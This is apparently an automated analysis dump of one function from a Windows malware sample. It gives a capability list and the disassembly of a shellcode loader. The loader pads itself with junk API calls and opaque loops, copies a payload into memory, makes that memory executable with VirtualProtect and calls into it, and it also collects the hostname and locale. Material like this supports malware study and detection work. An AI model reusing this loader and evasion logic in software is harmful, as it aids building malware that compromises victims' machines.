Function at 0x408d40
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get geographical location
Get hostname
Set console window title
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x454
mov eax, dword [0x4d807c]
xor eax, esp
mov dword [esp + 0x450], eax
mov edx, dword [0x4e504c]
push ebx
push esi
xor ebx, ebx
push edi
cmp edx, 0x7c
jne 0x408dc3
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push ebx
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [0x4e504c], 0x2d
jne 0x408db4
push ebx
push ebx
push ebx
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
call fcn.00401bc0
mov edx, dword [0x4e504c]
add esp, 4
mov ecx, dword [0x4d9c80]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
cmp eax, 0x8450db
jne 0x408de0
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x408df4
mov dword [0x4dae38], edi
mov dword [0x4dae3c], esi
inc eax
cmp eax, 0xb9fa618
jl 0x408dd3
mov edi, dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
mov dword [0x4e504c], edx
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x562d05
jne 0x408e24
mov ecx, dword [0x4d9c74]
mov dword [0x4e5184], ecx
cmp edx, 0x3c
jne 0x408e32
push ebx
call edi
mov edx, dword [0x4e504c]
inc esi
cmp esi, 0x5f6c74
jl 0x408e10
cmp edx, 0x110a
jne 0x408f00
push ebx
mov dword [0x4e5050], ebx
mov dword [0x4e5054], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea ecx, [esp + 0x30]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
call fcn.00401ae1
push ebx
push ebx
call fcn.00401bd6
push 0x30
push 0x4d68dc
push str._s__c
push 0x4dadb0
call fcn.004015bc
xor edx, edx
add esp, 0x20
lea esi, [edx + 1]
lea eax, [esp + 0x14]
mov dword [esp + 0x28], 7
mov dword [esp + 0x24], ebx
mov word [esp + 0x14], dx
call fcn.004010f0
push ebx
call fcn.00401b21
add esp, 4
push ebx
push ebx
call fcn.00401bd6
push 0x4d68dc
push 0x4dadb0
call fcn.004015bc
add esp, 0x10
push ebx
call fcn.00401f57
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x4e504c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x4e4ea8], eax
cmp dword [0x4e504c], ebx
jbe 0x408f6d
mov edi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
lea ecx, [ecx]
mov ecx, dword [0x4e5184]
mov dword [esp + 0xc], ecx
mov eax, 0xa231
add dword [esp + 0xc], eax
mov edx, dword [esp + 0xc]
mov al, byte [edx + esi]
mov ecx, dword [0x4e4ea8]
mov byte [ecx + esi], al
cmp dword [0x4e504c], 0x5ab
jne 0x408f64
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x4e504c]
jb 0x408f30
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.msimg32.dll
call esi
mov eax, dword [0x4e504c]
mov ecx, dword [0x4e4ea8]
lea edx, [esp + 0x10]
push edx
push 0x40
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x4e504c]
mov edx, dword [0x4e4ea8]
mov edi, dword [0x4d8e60]
mov ebx, eax
mov dword [esp + 0xc], edx
cmp eax, 0x930
jne 0x408fbf
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x4e504c]
mov dword [0x4dae34], edi
cmp eax, 0x114e
jne 0x408fe3
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
call esi
mov eax, dword [0x4e504c]
cmp eax, 0x2f
jne 0x409000
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
mov eax, dword [esp + 0xc]
push ebx
push eax
call fcn.00408b90
add dword [0x4e4ea8], 0
mov ebx, dword [esp + 0x40]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
add esp, 8
xor esi, esi
push 0
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x40903c
cmp ebx, 0xf5bed7
jne 0x409045
inc esi
cmp esi, 0x1ece7a52
jl 0x409024
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
mov dword [esp + 0xc], 0x1519a5
mov ebx, 0x8e46a6f0
mov edi, edi
cmp dword [0x4e504c], 0xcc1
jne 0x409070
push 0
call esi
cmp dword [0x4e504c], 0x3dc
mov dword [0x4e4eac], ebx
jne 0x409088
push 0
push 0
call edi
dec dword [esp + 0xc]
jne 0x409060
mov ecx, dword [esp + 0x45c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004015ad
mov esp, ebp
pop ebp
ret